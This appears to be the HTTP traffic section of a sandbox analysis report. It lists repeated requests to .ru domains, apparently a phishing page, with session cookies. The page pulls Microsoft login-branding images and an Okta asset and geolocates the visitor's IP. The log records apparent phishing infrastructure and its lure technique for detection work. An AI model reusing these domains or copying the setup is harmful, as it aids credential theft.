Source: global traffic	HTTP traffic detected: GET /opb4fXk2imfZLYfmqbH4zghRkX5rZFJxcMFNg45135 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijHXwjPZWAifZwQoWJvlxBdIQ1NOWdIcse7Kk8M5Uxy9SNhEMqJVq3snYHPef201 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klenvV35bx7eTnT9nHW4RzAycwxxkTQmSV3qVKO756165 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn6VbMxiDEdp67fcXcUJqkhB6U2IKbGkyZLqklsBRRgAuQe0bfWvS6vO378148 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrrxC5XXt9tXihoxZpXbYWBnXmtco128lZV84Ui3Hg3yQ9qp5rc2nTvi5X4ef240 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stiqgURFurtThFe19QYf1DPD0uLW4UyUYElmnyiQKhoWL0aUBIB0galSowPV36tgh260 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTUAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxZEJrx51kq8pq2it90HGLYC2dKa4FqrZQTEVGEwOqjL34130 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzwsk6DtYVwwnUxieDRPyf0Gp4hkbDUZd6BiLUAopYlbPwygahZxRRWxPcTKEvAWXLNrt90172 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /opkAEsblHog8xRX40m9XIONg8HHZHN2eejfXGaws5EijFGuJjGOKuaiTDkxqhxPPrCQvlxZpAJef199 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrrxC5XXt9tXihoxZpXbYWBnXmtco128lZV84Ui3Hg3yQ9qp5rc2nTvi5X4ef240 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijHXwjPZWAifZwQoWJvlxBdIQ1NOWdIcse7Kk8M5Uxy9SNhEMqJVq3snYHPef201 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stiqgURFurtThFe19QYf1DPD0uLW4UyUYElmnyiQKhoWL0aUBIB0galSowPV36tgh260 HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://86zv.vocalentr.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /71223218006441795962440LIUDZvSCVUSPNGGQEZAUMFMAHLZKUQJEIGNQLFSIKTWCZFFHYHNKHQXPHRHKIXLJIArsZITNpRWlLUM86Q112LuicLvyuv40 HTTP/1.1Host: ffbwk9qf2kkuza6cl8ikqd0hfexzq2uzymwiopyrk4i2kuoolbxronzxw.leokwu.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /81d6b03a-9wsbrvuoosuxh3gdnwlczthphjkydqjsed4eiboga3a/logintenantbranding/0/illustration?ts=638071068858086291 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /81d6b03a-9wsbrvuoosuxh3gdnwlczthphjkydqjsed4eiboga3a/logintenantbranding/0/bannerlogo?ts=638071079891638771 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://86zv.vocalentr.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /81d6b03a-9wsbrvuoosuxh3gdnwlczthphjkydqjsed4eiboga3a/logintenantbranding/0/bannerlogo?ts=638071079891638771 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
